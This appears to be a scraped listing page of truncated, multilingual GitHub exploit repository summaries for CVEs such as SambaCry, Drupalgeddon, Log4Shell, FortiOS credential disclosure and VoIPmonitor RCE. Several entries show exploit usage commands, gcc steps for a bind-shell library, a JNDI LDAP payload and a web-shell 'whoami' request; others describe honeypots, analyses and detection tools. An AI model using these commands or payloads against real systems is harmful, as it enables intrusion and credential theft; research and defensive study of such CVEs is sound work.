Mandela-Classic

Mandela Rewritten CVE-2022-46689を利用したiOSカスタマイズアプリ。ジェイルブレイク不要。 免責事項 本アプリの使用による端末の損傷について、私は一切の責任を負いません。自己責任でご利用ください。 ビルド手順 root@kitploit: git clone https://github.com/BomberFish/Mandela-Rewritten.git cd Mandela make...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB 원격 명령 실행 취약점 poc...

minio_unauth_check

miniounauthcheck CVE-2023-28432、MinIO 情報漏洩検出ツール このツールは教育および研究目的のみに使用され、セキュリティ意識を高め、ソフトウェア開発の実践を改善するためのものです。このツールを使用する前に、関連する法律法規および倫理規範を遵守していることを確認してください。 開発環境： python3 root@kitploit: 使用方式（支持单个URL检测和批量检测）：//url做了合规处理，支持输入ip、ip:port样式 单个检测：python miniounauthcheck.py -u 示例：python miniounauthcheck.p...

CVE-2020-1938-Tomcat-AJP-Ghostcat--Analysis

CVE-2020-1938 Tomcat AJP Ghostcat 분석 이 저장소는 CVE-2020-1938 Ghostcat에 대한 Markdown 분석 보고서와 보고서에 사용된 이미지 자산을 포함합니다. 목차 보고서: docs/report/CVE-2020-1938-Analysis-Report.md 이미지: docs/images 보고서 범위 보고서는 다음 내용을 중심으로 구성됩니다: 취약점 배경 PoC를 이용한 공격 흐름 Tomcat 소스 코드 기반 근본 원인 분석 파일 읽기 및 JSP 실행을 위한 트리거 조건 Tomcat...

CVE-2023-27372

스크립트 설치 및 실행 💻 사전 요구사항 시작하기 전에 컴퓨터에 다음 도구가 설치되어 있는지 확인하세요: Python 3.x Git pip Python 종속성 관리용 설치 단계 1. 저장소 복제 git을 사용하여 저장소를 복제합니다: root@kitploit: git clone https://github.com/dream434/CVE-2023-27372 2. 프로젝트 디렉터리로 이동 root@kitploit: cd CVE-2023-27372 3. 애플리케이션 실행 root@kitploit: pip install colloram...

CVE-2021-30461

影響を受ける製品 VoIPmonitor 24.60 RCEの方法 root@kitploit: python3 CVE-2021-30461.py -t ipaddress ブラウザシェル: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami 参考 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2025-5548

🛠️ 環境セットアップ 対象プラットフォーム: Windows このガイドでは、バイナリの脆弱性分析とファジングを実行するために必要なすべてのツールについて詳しく説明します。すべてが正しくセットアップされるよう、手順を順番に実行してください。 🐍 Python 3 ダウンロード: python.org/downloads/windows Python 3は、ファジングスクリプト を書くために使用する言語です。そのシンプルさと豊富なエコシステムにより、ターゲットバイナリへのペイロード送信の自動化、ネットワーク接続の処理、レスポンスの処理に最適です。 インストール: リンクから .exe...

SMB-CVE-2025-33073

SMB-CVE-2025-33073 Advanced SMB Honeypot: CVE-2025-33073 Research & Implementation Advanced SMB Honeypot: CVE-2025-33073 Research & Forensics 📌 Project Overview 이 프로젝트는 SMBServer Message Block 프로토콜을 대상으로 하는 익스플로잇 시도를 연구, 탐지 및 분석하기 위해 설계된 고상호작용 허니팟 환경을 제시합니다. 특히, 연구는 CVE-2025-33073 에 초점을 맞추며, NTLM...

Moniker-Link-Lab-Setup

Moniker Link Lab Setup - CVE-2024-21413 🎯 프로젝트 개요 NTLM 자격 증명 탈취를 위한 CVE-2024-21413 moniker link 익스플로잇을 시연하는 실습형 침투 테스트 랩입니다. 이 프로젝트는 설정부터 자격 증명 탈취까지 완전한 공격 체인을 문서화하며, 실제 환경에서의 문제점과 해결 방안을 포함합니다. 주요 성과: 격리된 실습 환경Windows 10 VM과 실제 시스템Windows 11 PC에서 moniker link 공격을 성공적으로 수행하여 실질적인 보안 취약점과 방어 대책을...

CVE-2022-40684

이 저장소에는 README가 없습니다...

FortiOS-Credentials-Disclosure

FortiOS-자격증명-노출 CVE-2018-13379 익스플로잇 사용법 : python CVE-2018-13379.py list.txt...

asf__nifi_CVE-2023-34468_1-21-00

Apache NiFi は、データの処理と配布を簡単かつ強力かつ信頼性高く行うためのシステムです。 目次 機能 推奨環境 はじめに MiNiFi サブプロジェクト Registry サブプロジェクト ヘルプ ドキュメント ライセンス 輸出規制...

CVE-2021-42327

CVE-2021-42327 SLUB オーバーフローエクスプロイト 詳細な解説...

CVE-2021-31630

CVE-2021-31630 Fellipe Oliveira가 HTB용으로 만든 PoC CVE-2021-31630 스크립트 수정 사용법 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

CVE-2020-1472-visualizer

이 저장소에는 README가 없습니다...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit SambaCry CVE-2017-7494 を悪用してSambaを攻撃（Metasploitなしのバインドシェル） ポートを変更する必要がある場合は、 bindshell-samba.c の68行目を変更して再コンパイルしてください： root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so bindshell-samba.o 攻撃方法：...

CVE-2018-7600

CVE-2018-7600 バージョン8のみで動作し、バージョン7では動作しません。 インストール root@kitploit: git clone https://github.com/0xAJ2K/CVE-2018-7600.git pip3 install -r requirements.txt python3 CVE-2018-7600.py 使用法 root@kitploit: python3 CVE-2018-7600.py -u http://172.31.1.27 期待される出力 root@kitploit: kali :: /opt/myscripts »...

CVE-2014-0160

CVE-2014-0160 링크 https://github.com/DisK0nn3cT/MaltegoHeartbleed https://github.com/a0726h77/heartbleed-test https://github.com/musalbas/heartbleed-masstest https://github.com/decal/ssltest-stls https://github.com/isgroup-srl/openmagic https://github.com/offensive-python/HeartLeak Nmap nmap -sV...

CVE-2026-5522

IBM QRadar SIEM versions 7.5.0 through 7.5.0 UP15 IF05 contain hard-coded credentials (CWE-798) used for inbound authentication, outbound communication to external components, or encryption of internal data. The vulnerability is rated CVSS 6.7 (Medium) with a local attack vector, high privileges ...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 的 PoC。 该项目仅用于教育目的。 漏洞利用服务器 该项目创建了两个服务器：http 和 ldap。两者都是利用工作所必需的。指定的 Java 文件被编译，服务器在 Dockerfile 中启动。有效载荷会展示给用户——它必须被传递给易受攻击的应用程序。 示例有效载荷： root@kitploit: $jndi:ldap//127.0.0.1:1389/a 如何运行？ 绑定 shell root@kitploit: ./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind...